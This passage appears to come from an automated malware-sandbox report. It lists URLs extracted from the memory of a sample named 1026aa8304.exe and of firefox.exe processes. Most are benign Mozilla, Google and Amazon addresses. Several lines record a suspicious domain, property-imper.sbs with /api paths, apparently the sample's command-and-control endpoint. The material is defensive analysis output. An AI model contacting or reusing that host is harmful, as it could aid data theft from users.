Source: 1026aa8304.exe, 0000000A.00000003.2669658958.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiK
Source: 1026aa8304.exe, 00000007.00000003.2694700740.000000000567A000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2616332061.000000000567A000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2592290347.000000000567A000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2564082085.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2564490477.0000000005679000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2563390143.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2564208866.0000000005675000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiZ
Source: 1026aa8304.exe, 00000007.00000003.2592541911.0000000000E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api~
Source: 1026aa8304.exe, 0000000A.00000003.2704318174.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/xi
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000002A.00000002.2936426983.000001FA67803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000002A.00000002.2976862750.000001FA76C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2992861736.000001FA77F8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000002A.00000002.2942457258.000001FA72F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comzA8
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000002A.00000002.2943968009.000001FA7300C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000002A.00000002.2943968009.000001FA7300C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001C.00000002.2738641118.000001D462012000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001C.00000002.2738641118.000001D46209E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000002A.00000002.3012622457.000001FA79794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000002A.00000002.3007673049.000001FA79127000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012622457.000001FA79794000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA737F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA737F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: 1026aa8304.exe, 00000007.00000003.2487855909.00000000056C2000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2641466161.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000002A.00000002.2936426983.000001FA67803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000018.00000003.2727037225.000002350BCB9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3008745683.000001FA792A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 1026aa8304.exe, 0000000A.00000003.2713463271.000000000578F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 0000002A.00000002.2993206712.000001FA77FD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2891948576.000001FA796C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: 1026aa8304.exe, 0000000A.00000003.2713463271.000000000578F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 1026aa8304.exe, 00000007.00000003.2487855909.00000000056C0000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2515024261.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2515189885.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2488003608.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2641466161.00000000056D1000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2671558520.00000000056CA000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2641668843.00000000056CA000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2668810751.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 1026aa8304.exe, 00000007.00000003.2488003608.0000000005694000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2641668843.00000000056A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 1026aa8304.exe, 00000007.00000003.2487855909.00000000056C0000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2515024261.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2515189885.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2488003608.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2641466161.00000000056D1000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2671558520.00000000056CA000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2641668843.00000000056CA000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2668810751.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 1026aa8304.exe, 00000007.00000003.2488003608.0000000005694000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2641668843.00000000056A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000002A.00000003.2828567385.000001FA77F9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2829748773.000001FA77FC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2821322221.000001FA77D4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-west-first-party-cookies).
Source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000002A.00000002.2936426983.000001FA67803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000002A.00000002.2942457258.000001FA72F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com(7O
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/mathml-core/#dfn-maction
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/mathml-core/#dfn-semantics
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/mathml-core/#the-mathvariant-attribute
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000018.00000003.2724972998.0000023511973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000018.00000003.2730372088.0000023509E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000018.00000003.2730372088.0000023509E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 1026aa8304.exe, 0000000A.00000003.2745354122.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2741794854.0000000005678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2738840795.000002D519CCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2738641118.000001D4620E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA730AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000018.00000003.2629918870.0000023509500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630767333.0000023507D3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630953545.0000023507D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630510005.0000023507D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2631168919.0000023507D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA7300C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2869582270.000001FA7B03D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2842917948.000001FA782EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2845084444.000001FA782ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2870051376.000001FA7B0A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA7373B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2976862750.000001FA76CEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
